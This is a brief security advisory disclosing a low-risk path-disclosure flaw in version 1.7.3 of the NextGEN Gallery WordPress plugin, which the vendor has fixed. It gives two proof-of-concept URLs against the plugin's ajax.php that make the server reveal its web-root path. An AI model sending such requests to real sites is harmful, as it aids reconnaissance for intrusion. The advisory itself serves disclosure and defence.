NextGEN Gallery WordPress Plugin 1.7.3 Path Disclosure

`Vulnerability ID: HTB22862  
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_nextgen_gallery_wordpress_plugin.html  
Product: NextGEN Gallery wordpress plugin  
Vendor: Alex Rabe ( http://alexrabe.de/ )   
Vulnerable Version: 1.7.3  
Vendor Notification: 15 February 2011   
Vulnerability Type: Path disclosure  
Status: Fixed by Vendor  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/wp-content/plugins/nextgen-gallery/xml/ajax.php" scripts, it's possible to generate an error that will reveal the full path of the script.  
A remote user can determine the full path to the web root directory and other potentially sensitive information.  
  
The following PoC is available:  
  
  
http://[host]/wp-content/plugins/nextgen-gallery/xml/ajax.php?galleryid=1&p=1&type=browser  
http://[host]/wp-content/plugins/nextgen-gallery/xml/ajax.php?galleryid=1&p=1&type=gallery  
  
Solution: Upgrade to the most recent version  
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